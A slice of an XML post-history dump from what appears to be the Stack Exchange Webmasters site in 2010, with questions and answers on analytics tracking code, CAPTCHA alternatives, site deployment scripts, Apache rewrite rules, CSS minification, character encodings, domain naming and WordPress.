  <row Id="1396" PostHistoryTypeId="2" PostId="760" RevisionGUID="8972c64e-9c93-4b3d-8c08-0c6046c0d23f" CreationDate="2010-07-12T22:54:22.047" UserId="43" Text="What, specifically, does the asynchronous code accomplish or allow that the older code does not?" />
  <row Id="1397" PostHistoryTypeId="1" PostId="760" RevisionGUID="8972c64e-9c93-4b3d-8c08-0c6046c0d23f" CreationDate="2010-07-12T22:54:22.047" UserId="43" Text="What is the benefit of using Google Analytics' asynchronous tracking code compared to the non-asynchronous code?" />
  <row Id="1398" PostHistoryTypeId="3" PostId="760" RevisionGUID="8972c64e-9c93-4b3d-8c08-0c6046c0d23f" CreationDate="2010-07-12T22:54:22.047" UserId="43" Text="&lt;javascript&gt;&lt;google-analytics&gt;" />
  <row Id="1399" PostHistoryTypeId="2" PostId="761" RevisionGUID="b6706e9a-1a58-4697-85bb-9751808a11f2" CreationDate="2010-07-12T22:57:51.387" UserId="43" Text="Consider using [Doubleclick for Publishers][1] (small business version) to serve your ads.  Using a tool like that should help in terms of following &quot;best practices&quot;, not to mention making your life easier as far as managing your ads.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://google.com/dfp" />
  <row Id="1400" PostHistoryTypeId="2" PostId="762" RevisionGUID="73180b6d-29ed-432a-a352-a9b34c2515f0" CreationDate="2010-07-12T23:12:40.613" UserId="55" Text="I've also used simple natural language challenges, such as :&#xD;&#xA;&#xD;&#xA;    A ________ is something with numbered pages surrounded by two covers.&#xD;&#xA;    Hint: Rhymes with look&#xD;&#xA;&#xD;&#xA;The caveats of this approach is having to maintain a separate challenge/hint/answer file for each language that you want to support, but I'm leaning in this direction more and more as CAPTCHA images become increasingly harder to read for some people. My wife, for instance wears heavily corrective lenses and gets extremely frustrated when she fails the 'human check' several times, even when the site is using RE-CAPTCHA.&#xD;&#xA;&#xD;&#xA;Challenges in plain text also have the benefit of changing as users set accessibility controls to their liking. &#xD;&#xA;&#xD;&#xA;The only requirement for the visitor is an elementary degree of literacy, so this might not work on sites like YouTube.&#xD;&#xA;" />
  <row Id="1401" PostHistoryTypeId="2" PostId="763" RevisionGUID="42831722-473d-4fe8-87e4-4a3f9e69f258" CreationDate="2010-07-12T23:17:30.230" UserId="100" Text="I'd recommend looking at the third party solution that is [disqus][1]. It provides spam protection, moderation, and supports logins of openid, facebook, twitter, and there own disqus accounts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://disqus.com" />
  <row Id="1402" PostHistoryTypeId="2" PostId="764" RevisionGUID="da1d9d46-7088-419c-9d1c-98ab0caccc34" CreationDate="2010-07-12T23:41:14.763" UserId="100" Text="I've always used a very simple bash script to deploy code. I'm moving away from using subversion to Mercurial but I don't really think the revision control software matters for deployment.&#xD;&#xA;&#xD;&#xA;What are some betters ways to do this?&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    date=`date +%Y%m%d_%H%M%S`&#xD;&#xA;    tar -zcvf app-dir-$date.tar.gz app/dir &#xD;&#xA;    tar -zcvf app-templates-$date.tar.gz app/templates&#xD;&#xA;    tar -zcvf app-media-$date.tar.gz app/media&#xD;&#xA;    svn export http://example.com/somepath/trunk hh/ --force&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1403" PostHistoryTypeId="1" PostId="764" RevisionGUID="da1d9d46-7088-419c-9d1c-98ab0caccc34" CreationDate="2010-07-12T23:41:14.763" UserId="100" Text="Can you recommend ways to manage code deployment to a Linux based web server?" />
  <row Id="1404" PostHistoryTypeId="3" PostId="764" RevisionGUID="da1d9d46-7088-419c-9d1c-98ab0caccc34" CreationDate="2010-07-12T23:41:14.763" UserId="100" Text="&lt;site-deployment&gt;" />
  <row Id="1405" PostHistoryTypeId="2" PostId="765" RevisionGUID="422a91ea-0c67-41db-a3a7-e466a2ad2fb7" CreationDate="2010-07-12T23:53:33.680" UserId="130" Text="The newer code uses the ability of modern browsers to execute Javascript aysnchronously from rendering the page (effectively, it is executed in another thread rather than the main page rendering thread). &#xD;&#xA;&#xD;&#xA;This allows the code to be placed at the top of the page without impacting perceived page rendering performance.&#xD;&#xA;&#xD;&#xA;This in turn means that partial page loads (e.g. someone hitting the &quot;Stop&quot; button, or navigating on to another page) is more likely to be captured by the script. With the old code, if the user navigates away before the JavaScript section is loaded and executed, it is possible for the page impression not to be recorded properly." />
  <row Id="1406" PostHistoryTypeId="2" PostId="766" RevisionGUID="5e54e327-a5b4-4f95-924e-cb048dfdae70" CreationDate="2010-07-12T23:55:57.700" UserId="131" Text="I've got developers editing pages for several sites on a WAMP stack and then uploading to the public servers running LAMP stacks. We're pretty happy with it, but we have this minor annoyance: we can't quite use the same .htaccess files in the development and production environments. On the public sites, the source folder maps to `http://foo.com`, `http://bar.com`, and so on. On the developer workstation, the source folders map to `http://localhost/foo`, `http://localhost/bar`, and so on. That means that I need `RewriteBase /` for the public servers, while each site on the developer workstation uses `RewriteBase /foo/`, `RewriteBase /bar/`, or whatever.&#xD;&#xA;&#xD;&#xA;Is there any way to specify the RewriteBase relative to the `.htaccess` file? Any other ideas for how to make my rewrite rules more portable?&#xD;&#xA;&#xD;&#xA;If you're curious, I'm using rewrite rules to redirect to CakePHP routing code, so the rule looks like this:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^(.*)$ cake_main.php?url=$1 [QSA,L]&#xD;&#xA;&#xD;&#xA;If I don't use a RewriteBase of `/foo/` on the developer workstation, then it will rewrite to `/cake_main.php` instead of `/foo/cake_main.php`." />
  <row Id="1407" PostHistoryTypeId="1" PostId="766" RevisionGUID="5e54e327-a5b4-4f95-924e-cb048dfdae70" CreationDate="2010-07-12T23:55:57.700" UserId="131" Text="Apache rewrite rules for development workstation and server" />
  <row Id="1408" PostHistoryTypeId="3" PostId="766" RevisionGUID="5e54e327-a5b4-4f95-924e-cb048dfdae70" CreationDate="2010-07-12T23:55:57.700" UserId="131" Text="&lt;apache&gt;&lt;htaccess&gt;&lt;url-rewriting&gt;" />
  <row Id="1409" PostHistoryTypeId="2" PostId="767" RevisionGUID="f6398dc9-ea21-41d8-95e5-fefb1344f45d" CreationDate="2010-07-13T00:12:19.977" UserId="180" Text="Even if performance is reduced by removing unused CSS on a per-page basis (and I'm pretty convinced that caching would outweigh this unless you're talking about radically different pages), you need to factor in the maintenance time required to do so.  Unless you're Google, it's probably not worth spending a several days over the life of the site to save each user a tenth of a second.&#xD;&#xA;&#xD;&#xA;A lot of this has to do with your site's usage profile.  If you're really sticky, then caching wins hands-down.  However, if you have a high bounce rate, you may be better off with optimized CSS (or spending the time you're wasting on CSS optimization making your site stickier!).&#xD;&#xA;&#xD;&#xA;One approach that you could take if you have page-specific markup is to have a generic site-wide CSS file, and embed per-page rules in the HTML document's head.&#xD;&#xA;" />
  <row Id="1410" PostHistoryTypeId="2" PostId="768" RevisionGUID="71aedae4-67fc-4ae9-8069-7fb959179007" CreationDate="2010-07-13T00:14:13.077" UserId="131" Text="We use ant's [scp task][1], with the [modified selector][2]. That means you just update the files that have changed since the previous upload. Unfortunately, the modified selector seems to be designed only for personal use, not sharing with team members. The `cache.properties` file has path names to the user's working directory in it. We wrote a bunch of ant targets to massage the `cache.properties` file into a format that can be shared between developers and then massaged back into the format that ant needs. The format also varies between a Windows environment and a GNU/Linux environment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ant.apache.org/manual/Tasks/scp.html&#xD;&#xA;  [2]: http://ant.apache.org/manual/Types/selectors.html#modified" />
  <row Id="1411" PostHistoryTypeId="2" PostId="769" RevisionGUID="1f8e62a7-5016-4726-9b80-801fc2d16652" CreationDate="2010-07-13T00:18:39.213" UserId="131" Text="Coding Horror had a pretty thorough discussion of [sending e-mail through code][1]. It includes a reference to the Port 25 verifier that might be useful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codinghorror.com/blog/2010/04/so-youd-like-to-send-some-email-through-code.html" />
  <row Id="1412" PostHistoryTypeId="2" PostId="770" RevisionGUID="df346261-55c5-444a-8e94-c65c733004ce" CreationDate="2010-07-13T00:24:40.933" UserId="138" Text="Isn't the whole point of using version control that you don't need to concern yourself with backing up the site before pushing out an update?&#xD;&#xA;&#xD;&#xA;If it's done correctly, an `svn update` (or equivalent) should be enough, and if it's a mistake then roll it back to a previous commit? That's what we do anyhow. Commit all the changes, `svn update` the staging server, if it's all OK then `svn update` the live server." />
  <row Id="1413" PostHistoryTypeId="2" PostId="771" RevisionGUID="38676190-4b07-48de-a6d6-dd35d38e84e3" CreationDate="2010-07-13T00:46:43.417" UserId="55" Text="I use [Mercurial to manage everything][1], including my static HTML pages. It makes life really, really easy for me.&#xD;&#xA;&#xD;&#xA;Benefits include&#xD;&#xA;&#xD;&#xA; - All the perks version control offers (rollbacks, milestone tags, etc)&#xD;&#xA; - Being able to clone your site in a hurry&#xD;&#xA; - You always have a working local backup / copy&#xD;&#xA; - Easy to keep in sync if you tend to make changes en situ (in place, on the server)&#xD;&#xA; - Most shared hosts (if your dealing with one) don't mind installing it&#xD;&#xA;&#xD;&#xA;Disclaimer, I wrote the tutorial. Yes, the kind of VCS you use does matter, to a degree. For instance, I would not use something in this scenario where I could not commit locally and make one big push / update. That just forces me to lump too many potentially problematic changes into one commitment.&#xD;&#xA;&#xD;&#xA;I ***could*** do it with Subversion, and I'm not knocking SVN at all. I just think Mercurial is a far better tool for the problem you are trying to solve.&#xD;&#xA;&#xD;&#xA;  [1]: http://echoreply.us/tuto/mercurial_site_management.html" />
  <row Id="1414" PostHistoryTypeId="2" PostId="772" RevisionGUID="228c19b9-7770-4e61-8d20-e2562dff1594" CreationDate="2010-07-13T01:02:22.120" UserId="110" Text="It is pretty easy to make up an address.  I have personally left the wrong address in my personal domains and just kept one public email address correct.&#xD;&#xA;&#xD;&#xA;I get a threatening letter that I must make it accurate, but how would they know, and I can say they really don't care.&#xD;&#xA;&#xD;&#xA;It cut down on my junk snail mail for business services." />
  <row Id="1415" PostHistoryTypeId="2" PostId="773" RevisionGUID="ecf8f75f-e4f9-4b24-97b7-8a0e5cd65af6" CreationDate="2010-07-13T01:04:42.927" UserId="120" Text="Assume that the site is still in it's design phases so there's no initial work to pick one over the other from the start.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1416" PostHistoryTypeId="1" PostId="773" RevisionGUID="ecf8f75f-e4f9-4b24-97b7-8a0e5cd65af6" CreationDate="2010-07-13T01:04:42.927" UserId="120" Text="Why would I choose UTF-8 over ISO 8859-1 as the content encoding for my site?" />
  <row Id="1417" PostHistoryTypeId="3" PostId="773" RevisionGUID="ecf8f75f-e4f9-4b24-97b7-8a0e5cd65af6" CreationDate="2010-07-13T01:04:42.927" UserId="120" Text="&lt;content-encoding&gt;" />
  <row Id="1418" PostHistoryTypeId="2" PostId="774" RevisionGUID="d0c20063-ec18-4a6a-9766-8dba752a2cbd" CreationDate="2010-07-13T01:11:38.883" UserId="127" Text="In response to [my domain name suggestion on meta](http://meta.webmasters.stackexchange.com/questions/18/what-do-you-want-our-final-domain-name-to-be/20#20), [Kris](http://meta.webmasters.stackexchange.com/users/221/kris) said:&#xD;&#xA;&#xD;&#xA;&gt; Something about having a domain name begin with a digit just feels ... *off*  to me.&#xD;&#xA;&#xD;&#xA;* Does it affect site ranks on search engines? &#xD;&#xA;* Do you think people will be less likely to visit it?&#xD;&#xA;* Is this just a programmer response, since most variable names can't start with a digit?" />
  <row Id="1419" PostHistoryTypeId="1" PostId="774" RevisionGUID="d0c20063-ec18-4a6a-9766-8dba752a2cbd" CreationDate="2010-07-13T01:11:38.883" UserId="127" Text="Are there any downsides to starting a domain name with a digit?" />
  <row Id="1420" PostHistoryTypeId="3" PostId="774" RevisionGUID="d0c20063-ec18-4a6a-9766-8dba752a2cbd" CreationDate="2010-07-13T01:11:38.883" UserId="127" Text="&lt;domains&gt;" />
  <row Id="1421" PostHistoryTypeId="2" PostId="775" RevisionGUID="67e5b68b-b5a4-44a2-aec3-784d55e644da" CreationDate="2010-07-13T01:28:53.867" UserId="55" Text="Well, the people at 37signals or 7dana might disagree with that. If it makes sense to use a number at the start of the domain, use it. If not ... don't. I'd surely hate to type out one-hundred-and-one-dalmations, when 101dalmations would do just fine :)&#xD;&#xA;&#xD;&#xA;I think the key here is to avoid nonsensical domains altogether, i.e. something like '303wee' when in fact you are selling designer handbags.&#xD;&#xA;&#xD;&#xA;I don't think its going to effect your ranking any more or any less than any other bad name that did not start with a number. A bad name is just a bad name regardless." />
  <row Id="1422" PostHistoryTypeId="2" PostId="776" RevisionGUID="4ec7251a-1ab8-4827-b2df-bc7a0ded86c5" CreationDate="2010-07-13T01:32:27.977" UserId="180" Text="In addition to the excellent suggestions in the other answers, you may want to consider whether it is important to you to do an atomic update.&#xD;&#xA;&#xD;&#xA;On my FreeBSD server, I accomplish this through two mechanisms:&#xD;&#xA;&#xD;&#xA;- Versioning all of my static resources. (E.g. http://static.example.com/images/logo.1.png or http://static.example.com/style/main.3.css ). This allows me to `svn update` the static site directly prior to updating the dynamic site, without worrying about users seeing new files in old pages.&#xD;&#xA;&#xD;&#xA;- Versioning the entire dynamic website.  In my case, I have my document root pointing to a symbolic link.  My strategy is to get the new version of production in place and then with a single command push it live. .g. something like this:&#xD;&#xA;&#xD;&#xA;    `cp -Rp www.site1.com.1 www.site1.com.2`  (or `svn checkout`)  &#xD;&#xA;&#xD;&#xA;    `svn update site1.com.2`  (may need an `svn switch` first)  &#xD;&#xA;&#xD;&#xA;    `ln -sf site1.com.2 www.site1.com` (atomically move changes to production)&#xD;&#xA;&#xD;&#xA;This ensures that none of my users end up seeing a half-baked page.  They'll either see the old version if it's still in their cache, or the new one.&#xD;&#xA;&#xD;&#xA;This strategy only works well if you aren't mixing user-uploaded content with your dynamic site.&#xD;&#xA;" />
  <row Id="1423" PostHistoryTypeId="2" PostId="777" RevisionGUID="75821470-e3ee-4ca7-8895-5195db32f92f" CreationDate="2010-07-13T01:33:43.947" UserId="132" Text="I am aware of a few ways to deploy websites:&#xD;&#xA;&#xD;&#xA;* FTP&#xD;&#xA;* Export from source control&#xD;&#xA;* Base the site on a source control checkout&#xD;&#xA;&#xD;&#xA;I can see some upsides and downsides of each. Is there any consensus on the most effective way to deploy new sites OR site modifications?" />
  <row Id="1424" PostHistoryTypeId="1" PostId="777" RevisionGUID="75821470-e3ee-4ca7-8895-5195db32f92f" CreationDate="2010-07-13T01:33:43.947" UserId="132" Text="What is the most ffective way of deploying a website?" />
  <row Id="1425" PostHistoryTypeId="3" PostId="777" RevisionGUID="75821470-e3ee-4ca7-8895-5195db32f92f" CreationDate="2010-07-13T01:33:43.947" UserId="132" Text="&lt;site-deployment&gt;" />
  <row Id="1426" PostHistoryTypeId="4" PostId="777" RevisionGUID="16f24fb3-6454-463b-a8bd-177c16a0d0cd" CreationDate="2010-07-13T01:39:40.313" UserId="132" Comment="edited title" Text="What is the most effective way of deploying a website?" />
  <row Id="1427" PostHistoryTypeId="2" PostId="778" RevisionGUID="6664526d-2b6b-47c1-94d7-18be8d41c52e" CreationDate="2010-07-13T01:56:09.620" UserDisplayName="delete" Text="I use custom scripts. For static (HTML based) websites I use double directories with new and installed versions, then run a recursive `diff` on the new and installed versions and upload only the files which have changed.&#xD;&#xA; " />
  <row Id="1428" PostHistoryTypeId="2" PostId="779" RevisionGUID="747102f9-bd3c-4e45-aea4-3f8f41dfe59d" CreationDate="2010-07-13T02:22:53.377" UserId="5" Text="What has worked best for us on Stack Overflow (and meets [point 2 of the Joel Test][1]) is a [continuous integration][2] solution, allowing one-click building of our production sites, as well as automated builds of our developer tier upon new code check-in.&#xD;&#xA;&#xD;&#xA;We use the .NET flavor of [CruiseControl][3], with the exciting name.. [CruiseControl.NET][4] :)  &#xD;&#xA;&#xD;&#xA;Some of the [key features][5] include:&#xD;&#xA;&#xD;&#xA;&gt; - Integration with a variety of Source Control systems&#xD;&#xA;&gt; - Integration with other external tools, such as NAnt and Visual Studio&#xD;&#xA;&gt; - Can build multiple projects on one server&#xD;&#xA;&gt; - Remote management and reporting&#xD;&#xA;&#xD;&#xA;We've been extremely happy with this open-source software and would recommend it to any team wishing to streamline their build process.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.joelonsoftware.com/articles/fog0000000043.html&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Continuous_integration&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/CruiseControl&#xD;&#xA;  [4]: http://confluence.public.thoughtworks.org/display/CCNET&#xD;&#xA;  [5]: http://confluence.public.thoughtworks.org/display/CCNET/What+is+CruiseControl.NET" />
  <row Id="1429" PostHistoryTypeId="2" PostId="780" RevisionGUID="461ab75f-a9e5-4e67-8825-8578e057fb96" CreationDate="2010-07-13T02:29:23.080" UserId="55" Text="I have some aging Wordpress blogs where I made the mistake of creating way too many categories (50+ in some instances). This was, in part, due to the fact that tagging was not yet available in Wordpress.&#xD;&#xA;&#xD;&#xA;I'd like now to condense the categories and implement tags. The problem is, I don't want to break indexed links.&#xD;&#xA;&#xD;&#xA;What strategy and perhaps plug-ins could I consider to do this? Ideally, the category listing pages would permanently re-direct to the appropriate tags, which I would set. I've also got to deal with the problem of people who pull feeds directly from categories. &#xD;&#xA;&#xD;&#xA;Should I just chalk these few sites up to a learning experience and leave them alone, or is there a way for me to make this correction so late in the game?" />
  <row Id="1430" PostHistoryTypeId="1" PostId="780" RevisionGUID="461ab75f-a9e5-4e67-8825-8578e057fb96" CreationDate="2010-07-13T02:29:23.080" UserId="55" Text="Wordpress - Going from categories to tags" />
  <row Id="1431" PostHistoryTypeId="3" PostId="780" RevisionGUID="461ab75f-a9e5-4e67-8825-8578e057fb96" CreationDate="2010-07-13T02:29:23.080" UserId="55" Text="&lt;tags&gt;&lt;wordpress&gt;&lt;redirects&gt;" />
  <row Id="1432" PostHistoryTypeId="5" PostId="778" RevisionGUID="1e7c1da3-378e-4f2c-8c9a-87330b2f0434" CreationDate="2010-07-13T02:31:38.130" UserDisplayName="delete" Comment="added 13 characters in body" Text="I use custom scripts. For static (HTML based) websites I use double directories with new and installed versions, then the script runs a recursive `diff` on the new and installed versions and uploads only the files which have changed.&#xD;&#xA; " />
  <row Id="1433" PostHistoryTypeId="2" PostId="781" RevisionGUID="6d2e7d69-6bcb-4ca2-869c-a3d4dd258b25" CreationDate="2010-07-13T02:55:01.443" UserId="132" Text="There are some tools on the web that will look up domain availability for you, and that supposedly do not track these requests like registrars do. Some examples: [Domize][1], [DomainTyper][2], and [Domainr][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://domize.com/&#xD;&#xA;  [2]: http://domaintyper.com/&#xD;&#xA;  [3]: http://domai.nr/" />
  <row Id="1434" PostHistoryTypeId="2" PostId="782" RevisionGUID="4176ef11-aa55-4c5b-bd11-6311426af599" CreationDate="2010-07-13T02:56:54.543" UserId="132" Text="WordPress offers an option to convert selected tags to categories, and vise versa. I think it's been done in a way to ensure that no links are broken - redirects are put in place as needed." />
  <row Id="1435" PostHistoryTypeId="2" PostId="783" RevisionGUID="df4cc080-b165-4054-976a-7c3e6385efb8" CreationDate="2010-07-13T03:03:14.013" UserId="132" Text="WordPress has been primarily a blogging tool from the start. But recent releases have been very customizable and extensible, especially 3.0. What other purposes could WordPress be used for, besides just a blog?" />
  <row Id="1436" PostHistoryTypeId="1" PostId="783" RevisionGUID="df4cc080-b165-4054-976a-7c3e6385efb8" CreationDate="2010-07-13T03:03:14.013" UserId="132" Text="How can WordPress be used, besides a blog?" />
  <row Id="1437" PostHistoryTypeId="3" PostId="783" RevisionGUID="df4cc080-b165-4054-976a-7c3e6385efb8" CreationDate="2010-07-13T03:03:14.013" UserId="132" Text="&lt;wordpress&gt;" />
  <row Id="1438" PostHistoryTypeId="2" PostId="784" RevisionGUID="17e8c89c-8ac7-434d-aeea-a0c399c3431d" CreationDate="2010-07-13T03:10:53.667" UserId="55" Text="A lot of people use it as a full blown CMS. You can have your visitors land on any page of your choice, showing the blog as a special page (if at all). It also makes an excellent tool for photographers to publish their work, especially freelance photojournalists.&#xD;&#xA;&#xD;&#xA;The other thing that I really, really like about WP is how easy it is to bring existing static pages into the [Wordpress 'loop'][1]. I've found it to be an invaluable tool to 'drop in' to existing static sites for clients that want to be able to publish without editing HTML. This brings (at least part of) the dynamic content to all of the static pages.&#xD;&#xA;&#xD;&#xA;I think its also important to make a distinction between blogging and more serious self publishing. The first, of course, being more recreational. Wordpress (especially with the latest version) appeals equally to either use.&#xD;&#xA;&#xD;&#xA;  [1]: http://codex.wordpress.org/The_Loop" />
  <row Id="1439" PostHistoryTypeId="2" PostId="785" RevisionGUID="e4eee163-921b-45e2-961a-123e3771c29a" CreationDate="2010-07-13T03:15:33.840" UserId="124" Text="With [UTF-8][1] you have increased flexibility over [ISO 8859-1][2]. The former can encode any character included in Unicode while the latter is limited to Western European languages.&#xD;&#xA;&#xD;&#xA;ISO 8859-1 (&quot;Latin1&quot;) doesn't include, for example, Greek, Hebrew, Arabic, Cyrillic, Chinese, Japanese and Korean, etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/UTF-8&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/ISO/IEC_8859-1" />
  <row Id="1440" PostHistoryTypeId="2" PostId="786" RevisionGUID="a271c48f-1196-4987-91c4-51adc797a8d8" CreationDate="2010-07-13T04:11:55.663" UserId="161" Text="You can get the best from both worlds, minify the file at execution time and gzip the output.  &#xD;&#xA;The source file stills readable when you need to edit it, but it's compressed when you download it&#xD;&#xA;&#xD;&#xA;first: use htaccess to tell apache to treat all css files as php scripts and to compress the output when of type text/css&#xD;&#xA;&#xD;&#xA;in .htaccess&#xD;&#xA;    AddHandler php5-cgi .css&#xD;&#xA;    AddType text/css .css&#xD;&#xA;    AddOutputFilterByType DEFLATE text/css&#xD;&#xA;&#xD;&#xA;second: use output buffering with a callback function to minify the css code before the download starts, also set the expire time so the file gets cached&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;in your css file&#xD;&#xA;&#xD;&#xA;	&lt;?php&#xD;&#xA;	ob_start(&quot;trima&quot;);&#xD;&#xA;	header(&quot;Content-type: text/css; charset=utf-8&quot;);&#xD;&#xA;	ob_start();&#xD;&#xA;	date_default_timezone_set('GMT');&#xD;&#xA;	$lasmod = &quot;Last-Modified: &quot; . strftime (&quot;%a, %d %b %Y %T GMT&quot;, filemtime (__FILE__));&#xD;&#xA;	Header($lastmod);&#xD;&#xA;	$offset = 3600*24*30*12;&#xD;&#xA;	$expire = &quot;Expires: &quot; . date(&quot;D, d M Y H:i:s&quot;, time() + $offset) . &quot; GMT&quot;;&#xD;&#xA;	Header($expire);&#xD;&#xA;    function trima($str) {&#xD;&#xA;        $str = str_replace(array(&quot;\n&quot;, &quot;\r&quot;, &quot;\t&quot;, &quot;\o&quot;, &quot;\xOB&quot;), '', $str); // remueve enter tabs y demas&#xD;&#xA;        $str = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $str); // remueve comentarioa&#xD;&#xA;        $str = ereg_replace(&quot;[ ]+&quot;, &quot; &quot;, $str);                         //remueve espacios multiples&#xD;&#xA;        $rep = array( '{ '=&gt;'{', ' }'=&gt;'}', '; '=&gt;';', ', '=&gt;',', ' {'=&gt;'{', '} '=&gt;'}', ': '=&gt;':', ' ,'=&gt;',', ' ;'=&gt;';' ); // remueve espacios inecesarios&#xD;&#xA;        $str = strtr($str, $rep);&#xD;&#xA;        return $str;&#xD;&#xA;    }&#xD;&#xA;	?&gt;&#xD;&#xA;	css content here&#xD;&#xA;&#xD;&#xA;Third: profit?&#xD;&#xA;" />
  <row Id="1441" PostHistoryTypeId="2" PostId="787" RevisionGUID="6a3cb764-417d-489f-864a-3c057efbb6dd" CreationDate="2010-07-13T04:21:36.013" UserId="209" Text="I've seen quite a few themes that transform Wordpress in a photography portfolio/gallery site." />
  <row Id="1442" PostHistoryTypeId="5" PostId="762" RevisionGUID="a212f334-5d98-499d-87fa-477ce02bc796" CreationDate="2010-07-13T04:37:13.380" UserId="55" Comment="added 17 characters in body" Text="I've also used simple natural language challenges, such as :&#xD;&#xA;&#xD;&#xA;    A ________ is something with numbered pages surrounded by two covers.&#xD;&#xA;    Hint: Rhymes with look&#xD;&#xA;&#xD;&#xA;The caveats of this approach is having to maintain a separate challenge/hint/answer file for each language that you want to support, but I'm leaning in this direction more and more as CAPTCHA images become increasingly harder to read for some people. My wife, for instance wears heavily corrective lenses and gets extremely frustrated when she fails the 'human check' several times, even when the site is using RE-CAPTCHA.&#xD;&#xA;&#xD;&#xA;Challenges in plain text also have the benefit of changing as users set accessibility controls to their liking. &#xD;&#xA;&#xD;&#xA;The only requirement for the visitor is an elementary degree of literacy, so this might not work on sites like YouTube or Yahoo Answers.&#xD;&#xA;" />
  <row Id="1443" PostHistoryTypeId="2" PostId="788" RevisionGUID="c6b057ca-7801-4f93-b685-9f27ea662ee1" CreationDate="2010-07-13T05:07:08.097" UserId="180" Text="My solution to this hasn't been to mess with the rewrite rules, but to add separate local domains/hosts with fake TLDs to my PC.&#xD;&#xA;&#xD;&#xA;You can do this by editing the file `C:\Windows\System32\drivers\etc\hosts`&#xD;&#xA;&#xD;&#xA;Be aware that on Windows 7 (and maybe Vista) that in order to successfully edit this file you need to run your text editor as Administrator.&#xD;&#xA;&#xD;&#xA;You can add hosts using lines that look like:&#xD;&#xA;&#xD;&#xA;    127.0.0.2       www.mysite.local&#xD;&#xA;    127.0.0.3       www.myothersite.local&#xD;&#xA;&#xD;&#xA;Once these are in place, you can configure Apache for these domain names and you'll be good to go.&#xD;&#xA;&#xD;&#xA;Of course, this doesn't work to well testing from other machines in the local network, but if you're in that situation it may be better to use a local DNS server or to assign the hosts to local non-portable IP addresses and synchronize the files across all PCs.&#xD;&#xA;" />
  <row Id="1444" PostHistoryTypeId="2" PostId="789" RevisionGUID="ff9235d4-36c1-498f-a107-c8d1201fd9a2" CreationDate="2010-07-13T05:30:58.867" UserId="138" Text="Big downside: Having to spell it to people vocally it's very ambiguous. This goes for having a number anywhere in the URL.&#xD;&#xA;&#xD;&#xA;So many times I've heard radio advertisements for websites where they have to spell it out:&#xD;&#xA;&#xD;&#xA;`To take advantage of this great offer, just go to bizoffers.id - that's biz with a Z` - very annoying for everyone involved.&#xD;&#xA;&#xD;&#xA;Take for example, `2example.com`&#xD;&#xA;&#xD;&#xA;Tech Support: Go to 2example.com - that's the number two, not the letters two, so two the digit example.com&#xD;&#xA;&#xD;&#xA;Grandma: It's not working&#xD;&#xA;&#xD;&#xA;Tech Support: can you read back to me what you've got?&#xD;&#xA;&#xD;&#xA;Grandma (slowly): `tee-doubleyou-oh-tee-hach-eee-dee-eye-gee-eye-tee-eee-ex-aye-mmm-pee-ell-eee-dee-oh-tee-see-oh-emm` (twothedigitdotcom)" />
  <row Id="1445" PostHistoryTypeId="2" PostId="790" RevisionGUID="f34fb2be-3a5c-4398-a5e9-27ea41bc38e4" CreationDate="2010-07-13T09:23:26.403" UserId="56" Text="Do you use these? If so, what strategies do you have for managing changes to the files?&#xD;&#xA;&#xD;&#xA;http://developer.yahoo.net/blog/archives/2007/05/high_performanc_2.html" />
  <row Id="1446" PostHistoryTypeId="1" PostId="790" RevisionGUID="f34fb2be-3a5c-4398-a5e9-27ea41bc38e4" CreationDate="2010-07-13T09:23:26.403" UserId="56" Text="Far Future Expire Headers" />
  <row Id="1447" PostHistoryTypeId="3" PostId="790" RevisionGUID="f34fb2be-3a5c-4398-a5e9-27ea41bc38e4" CreationDate="2010-07-13T09:23:26.403" UserId="56" Text="&lt;headers&gt;&lt;cache-control&gt;" />
  <row Id="1448" PostHistoryTypeId="2" PostId="791" RevisionGUID="1f175d7f-eea1-4365-8f35-b05be2c5ad25" CreationDate="2010-07-13T09:32:56.673" UserId="56" Text="I understand how [splitting components across domains][1] can maximize parallel downloads, and enable you to have cookie-free static content domains, but since there's a time cost for each domain lookup what is the optimum number of domains to use?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://yuiblog.com/blog/2007/04/11/performance-research-part-4/" />
  <row Id="1449" PostHistoryTypeId="1" PostId="791" RevisionGUID="1f175d7f-eea1-4365-8f35-b05be2c5ad25" CreationDate="2010-07-13T09:32:56.673" UserId="56" Text="How many domains to split components across?" />
  <row Id="1450" PostHistoryTypeId="3" PostId="791" RevisionGUID="1f175d7f-eea1-4365-8f35-b05be2c5ad25" CreationDate="2010-07-13T09:32:56.673" UserId="56" Text="&lt;domains&gt;&lt;dns&gt;&lt;cookie&gt;&lt;static-content&gt;" />
  <row Id="1451" PostHistoryTypeId="5" PostId="765" RevisionGUID="84894cdb-e2b7-4b36-b739-385819746753" CreationDate="2010-07-13T09:54:09.807" UserId="130" Comment="Fixed grammar" Text="The newer code uses the ability of modern browsers to execute Javascript aysnchronously from rendering the page (effectively, it is executed in another thread rather than the main page rendering thread). &#xD;&#xA;&#xD;&#xA;This allows the code to be placed at the top of the page without impacting perceived page rendering performance.&#xD;&#xA;&#xD;&#xA;This in turn means that partial page loads (e.g. someone hitting the &quot;Stop&quot; button, or navigating on to another page) are more likely to be captured by the script. With the old code, if the user navigates away before the JavaScript section is loaded and executed, it is possible for the page impression not to be recorded properly." />
